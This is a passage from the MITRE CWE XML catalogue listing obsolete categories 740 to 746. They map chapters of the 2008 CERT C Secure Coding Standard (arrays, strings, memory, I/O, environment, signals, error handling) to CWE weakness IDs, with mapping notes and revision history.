               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, References, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 05 - Floating Point (FLP)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 05 - Floating Point (FLP)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="740" Name="CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="734"/>
            <Has_Member CWE_ID="129" View_ID="734"/>
            <Has_Member CWE_ID="467" View_ID="734"/>
            <Has_Member CWE_ID="469" View_ID="734"/>
            <Has_Member CWE_ID="665" View_ID="734"/>
            <Has_Member CWE_ID="805" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-119 ARR00-C Understand how arrays work</xhtml:li>
                     <xhtml:li>CWE-119 ARR33-C Guarantee that copies are made into storage of sufficient size</xhtml:li>
                     <xhtml:li>CWE-119 ARR34-C Ensure that array types in expressions are compatible</xhtml:li>
                     <xhtml:li>CWE-119 ARR35-C Do not allow loops to iterate beyond the end of an array</xhtml:li>
                     <xhtml:li>CWE-129 ARR00-C Understand how arrays work</xhtml:li>
                     <xhtml:li>CWE-129 ARR30-C Guarantee that array indices are within the valid range</xhtml:li>
                     <xhtml:li>CWE-129 ARR38-C Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element</xhtml:li>
                     <xhtml:li>CWE-467 ARR01-C Do not apply the sizeof operator to a pointer when taking the size of an array</xhtml:li>
                     <xhtml:li>CWE-469 ARR36-C Do not subtract or compare two pointers that do not refer to the same array</xhtml:li>
                     <xhtml:li>CWE-469 ARR37-C Do not add or subtract an integer to a pointer to a non-array object</xhtml:li>
                     <xhtml:li>CWE-665 ARR02-C Explicitly specify array bounds, even if implicitly defined by an initializer</xhtml:li>
                     <xhtml:li>CWE-805 ARR33-C Guarantee that copies are made into storage of sufficient size</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 06 - Arrays (ARR)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 06 - Arrays (ARR)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="741" Name="CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="734"/>
            <Has_Member CWE_ID="120" View_ID="734"/>
            <Has_Member CWE_ID="135" View_ID="734"/>
            <Has_Member CWE_ID="170" View_ID="734"/>
            <Has_Member CWE_ID="193" View_ID="734"/>
            <Has_Member CWE_ID="464" View_ID="734"/>
            <Has_Member CWE_ID="686" View_ID="734"/>
            <Has_Member CWE_ID="704" View_ID="734"/>
            <Has_Member CWE_ID="78" View_ID="734"/>
            <Has_Member CWE_ID="88" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-78 STR02-C Sanitize data passed to complex subsystems</xhtml:li>
                     <xhtml:li>CWE-88 STR02-C Sanitize data passed to complex subsystems</xhtml:li>
                     <xhtml:li>CWE-119 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator</xhtml:li>
                     <xhtml:li>CWE-119 STR32-C Null-terminate byte strings as required</xhtml:li>
                     <xhtml:li>CWE-119 STR33-C Size wide character strings correctly</xhtml:li>
                     <xhtml:li>CWE-120 STR35-C Do not copy data from an unbounded source to a fixed-length array</xhtml:li>
                     <xhtml:li>CWE-135 STR33-C Size wide character strings correctly</xhtml:li>
                     <xhtml:li>CWE-170 STR03-C Do not inadvertently truncate a null-terminated byte string</xhtml:li>
                     <xhtml:li>CWE-170 STR32-C Null-terminate byte strings as required</xhtml:li>
                     <xhtml:li>CWE-193 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator</xhtml:li>
                     <xhtml:li>CWE-464 STR03-C Do not inadvertently truncate a null-terminated byte string</xhtml:li>
                     <xhtml:li>CWE-464 STR06-C Do not assume that strtok() leaves the parse string unchanged</xhtml:li>
                     <xhtml:li>CWE-686 STR37-C Arguments to character handling functions must be representable as an unsigned char</xhtml:li>
                     <xhtml:li>CWE-704 STR34-C Cast characters to unsigned types before converting to larger integer sizes</xhtml:li>
                     <xhtml:li>CWE-704 STR37-C Arguments to character handling functions must be representable as an unsigned char</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 07 - Characters and Strings (STR)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 07 - Characters and Strings (STR)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="742" Name="CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="734"/>
            <Has_Member CWE_ID="128" View_ID="734"/>
            <Has_Member CWE_ID="131" View_ID="734"/>
            <Has_Member CWE_ID="190" View_ID="734"/>
            <Has_Member CWE_ID="20" View_ID="734"/>
            <Has_Member CWE_ID="226" View_ID="734"/>
            <Has_Member CWE_ID="244" View_ID="734"/>
            <Has_Member CWE_ID="252" View_ID="734"/>
            <Has_Member CWE_ID="415" View_ID="734"/>
            <Has_Member CWE_ID="416" View_ID="734"/>
            <Has_Member CWE_ID="476" View_ID="734"/>
            <Has_Member CWE_ID="528" View_ID="734"/>
            <Has_Member CWE_ID="590" View_ID="734"/>
            <Has_Member CWE_ID="591" View_ID="734"/>
            <Has_Member CWE_ID="628" View_ID="734"/>
            <Has_Member CWE_ID="665" View_ID="734"/>
            <Has_Member CWE_ID="687" View_ID="734"/>
            <Has_Member CWE_ID="754" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-20 MEM10-C Define and use a pointer validation function</xhtml:li>
                     <xhtml:li>CWE-119 MEM09-C Do not assume memory allocation routines initialize memory</xhtml:li>
                     <xhtml:li>CWE-128 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</xhtml:li>
                     <xhtml:li>CWE-131 MEM35-C Allocate sufficient memory for an object</xhtml:li>
                     <xhtml:li>CWE-190 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</xhtml:li>
                     <xhtml:li>CWE-190 MEM35-C Allocate sufficient memory for an object</xhtml:li>
                     <xhtml:li>CWE-226 MEM03-C Clear sensitive information stored in reusable resources returned for reuse</xhtml:li>
                     <xhtml:li>CWE-244 MEM03-C Clear sensitive information stored in reusable resources returned for reuse</xhtml:li>
                     <xhtml:li>CWE-252 MEM32-C Detect and handle memory allocation errors</xhtml:li>
                     <xhtml:li>CWE-415 MEM00-C Allocate and free memory in the same module, at the same level of abstraction</xhtml:li>
                     <xhtml:li>CWE-415 MEM01-C Store a new value in pointers immediately after free()</xhtml:li>
                     <xhtml:li>CWE-415 MEM31-C Free dynamically allocated memory exactly once</xhtml:li>
                     <xhtml:li>CWE-416 MEM00-C Allocate and free memory in the same module, at the same level of abstraction</xhtml:li>
                     <xhtml:li>CWE-416 MEM01-C Store a new value in pointers immediately after free()</xhtml:li>
                     <xhtml:li>CWE-416 MEM30-C Do not access freed memory</xhtml:li>
                     <xhtml:li>CWE-476 MEM32-C Detect and handle memory allocation errors</xhtml:li>
                     <xhtml:li>CWE-528 MEM06-C Ensure that sensitive data is not written out to disk</xhtml:li>
                     <xhtml:li>CWE-590 MEM34-C Only free memory allocated dynamically</xhtml:li>
                     <xhtml:li>CWE-591 MEM06-C Ensure that sensitive data is not written out to disk</xhtml:li>
                     <xhtml:li>CWE-628 MEM08-C Use realloc() only to resize dynamically allocated arrays</xhtml:li>
                     <xhtml:li>CWE-665 MEM09-C Do not assume memory allocation routines initialize memory</xhtml:li>
                     <xhtml:li>CWE-687 MEM04-C Do not perform zero length allocations</xhtml:li>
                     <xhtml:li>CWE-754 MEM32-C Detect and handle memory allocation errors</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 08 - Memory Management (MEM)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 08 - Memory Management (MEM)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="743" Name="CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="734"/>
            <Has_Member CWE_ID="134" View_ID="734"/>
            <Has_Member CWE_ID="22" View_ID="734"/>
            <Has_Member CWE_ID="241" View_ID="734"/>
            <Has_Member CWE_ID="276" View_ID="734"/>
            <Has_Member CWE_ID="279" View_ID="734"/>
            <Has_Member CWE_ID="362" View_ID="734"/>
            <Has_Member CWE_ID="367" View_ID="734"/>
            <Has_Member CWE_ID="37" View_ID="734"/>
            <Has_Member CWE_ID="379" View_ID="734"/>
            <Has_Member CWE_ID="38" View_ID="734"/>
            <Has_Member CWE_ID="39" View_ID="734"/>
            <Has_Member CWE_ID="391" View_ID="734"/>
            <Has_Member CWE_ID="403" View_ID="734"/>
            <Has_Member CWE_ID="404" View_ID="734"/>
            <Has_Member CWE_ID="41" View_ID="734"/>
            <Has_Member CWE_ID="552" View_ID="734"/>
            <Has_Member CWE_ID="59" View_ID="734"/>
            <Has_Member CWE_ID="62" View_ID="734"/>
            <Has_Member CWE_ID="64" View_ID="734"/>
            <Has_Member CWE_ID="65" View_ID="734"/>
            <Has_Member CWE_ID="67" View_ID="734"/>
            <Has_Member CWE_ID="675" View_ID="734"/>
            <Has_Member CWE_ID="676" View_ID="734"/>
            <Has_Member CWE_ID="686" View_ID="734"/>
            <Has_Member CWE_ID="732" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-22 FIO02-C Canonicalize path names originating from untrusted sources</xhtml:li>
                     <xhtml:li>CWE-37 FIO05-C Identify files using multiple file attributes</xhtml:li>
                     <xhtml:li>CWE-38 FIO05-C Identify files using multiple file attributes</xhtml:li>
                     <xhtml:li>CWE-39 FIO05-C Identify files using multiple file attributes</xhtml:li>
                     <xhtml:li>CWE-41 FIO02-C Canonicalize path names originating from untrusted sources</xhtml:li>
                     <xhtml:li>CWE-59 FIO02-C Canonicalize path names originating from untrusted sources</xhtml:li>
                     <xhtml:li>CWE-62 FIO05-C Identify files using multiple file attributes</xhtml:li>
                     <xhtml:li>CWE-64 FIO05-C Identify files using multiple file attributes</xhtml:li>
                     <xhtml:li>CWE-65 FIO05-C Identify files using multiple file attributes</xhtml:li>
                     <xhtml:li>CWE-67 FIO32-C Do not perform operations on devices that are only appropriate for files</xhtml:li>
                     <xhtml:li>CWE-119 FIO37-C Do not assume character data has been read</xhtml:li>
                     <xhtml:li>CWE-134 FIO30-C Exclude user input from format strings</xhtml:li>
                     <xhtml:li>CWE-134 FIO30-C Exclude user input from format strings</xhtml:li>
                     <xhtml:li>CWE-241 FIO37-C Do not assume character data has been read</xhtml:li>
                     <xhtml:li>CWE-276 FIO06-C Create files with appropriate access permissions</xhtml:li>
                     <xhtml:li>CWE-279 FIO06-C Create files with appropriate access permissions</xhtml:li>
                     <xhtml:li>CWE-362 FIO31-C Do not simultaneously open the same file multiple times</xhtml:li>
                     <xhtml:li>CWE-367 FIO01-C Be careful using functions that use file names for identification</xhtml:li>
                     <xhtml:li>CWE-379 FIO15-C Ensure that file operations are performed in a secure directory</xhtml:li>
                     <xhtml:li>CWE-379 FIO43-C Do not create temporary files in shared directories</xhtml:li>
                     <xhtml:li>CWE-391 FIO04-C Detect and handle input and output errors</xhtml:li>
                     <xhtml:li>CWE-391 FIO33-C Detect and handle input output errors resulting in undefined behavior</xhtml:li>
                     <xhtml:li>CWE-403 FIO42-C Ensure files are properly closed when they are no longer needed</xhtml:li>
                     <xhtml:li>CWE-404 FIO42-C Ensure files are properly closed when they are no longer needed</xhtml:li>
                     <xhtml:li>CWE-552 FIO15-C Ensure that file operations are performed in a secure directory</xhtml:li>
                     <xhtml:li>CWE-675 FIO31-C Do not simultaneously open the same file multiple times</xhtml:li>
                     <xhtml:li>CWE-676 FIO01-C Be careful using functions that use file names for identification</xhtml:li>
                     <xhtml:li>CWE-686 FIO00-C Take care when creating format strings</xhtml:li>
                     <xhtml:li>CWE-732 FIO06-C Create files with appropriate access permissions</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 09 - Input Output (FIO)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 09 - Input Output (FIO)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="744" Name="CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="734"/>
            <Has_Member CWE_ID="426" View_ID="734"/>
            <Has_Member CWE_ID="462" View_ID="734"/>
            <Has_Member CWE_ID="705" View_ID="734"/>
            <Has_Member CWE_ID="78" View_ID="734"/>
            <Has_Member CWE_ID="88" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-78 ENV03-C Sanitize the environment when invoking external programs</xhtml:li>
                     <xhtml:li>CWE-78 ENV04-C Do not call system() if you do not need a command processor</xhtml:li>
                     <xhtml:li>CWE-88 ENV03-C Sanitize the environment when invoking external programs</xhtml:li>
                     <xhtml:li>CWE-88 ENV04-C Do not call system() if you do not need a command processor</xhtml:li>
                     <xhtml:li>CWE-119 ENV01-C Do not make assumptions about the size of an environment variable</xhtml:li>
                     <xhtml:li>CWE-426 ENV03-C Sanitize the environment when invoking external programs</xhtml:li>
                     <xhtml:li>CWE-462 ENV02-C Beware of multiple environment variables with the same effective name</xhtml:li>
                     <xhtml:li>CWE-705 ENV32-C All atexit handlers must return normally</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 10 - Environment (ENV)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 10 - Environment (ENV)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="745" Name="CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="479" View_ID="734"/>
            <Has_Member CWE_ID="662" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-432 SIG00-C Mask signals handled by noninterruptible signal handlers</xhtml:li>
                     <xhtml:li>CWE-479 SIG30-C Call only asynchronous-safe functions within signal handlers</xhtml:li>
                     <xhtml:li>CWE-479 SIG32-C Do not call longjmp() from inside a signal handler</xhtml:li>
                     <xhtml:li>CWE-479 SIG33-C Do not recursively invoke the raise() function</xhtml:li>
                     <xhtml:li>CWE-479 SIG34-C Do not call signal() from within interruptible signal handlers</xhtml:li>
                     <xhtml:li>CWE-662 SIG00-C Mask signals handled by noninterruptible signal handlers</xhtml:li>
                     <xhtml:li>CWE-662 SIG31-C Do not access or modify shared objects in signal handlers</xhtml:li>
                     <xhtml:li>CWE-828 SIG31-C Do not access or modify shared objects in signal handlers</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 11 - Signals (SIG)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 11 - Signals (SIG)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="746" Name="CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="20" View_ID="734"/>
            <Has_Member CWE_ID="391" View_ID="734"/>
            <Has_Member CWE_ID="544" View_ID="734"/>
            <Has_Member CWE_ID="676" View_ID="734"/>
            <Has_Member CWE_ID="705" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-20 ERR07-C Prefer functions that support error checking over equivalent functions that don't</xhtml:li>
                     <xhtml:li>CWE-391 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy</xhtml:li>
                     <xhtml:li>CWE-544 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy</xhtml:li>
                     <xhtml:li>CWE-676 ERR07-C Prefer functions that support error checking over equivalent functions that don't</xhtml:li>
                     <xhtml:li>CWE-705 ERR04-C Choose an appropriate termination strategy</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 12 - Error Handling (ERR)</Previous_Entry_Name>
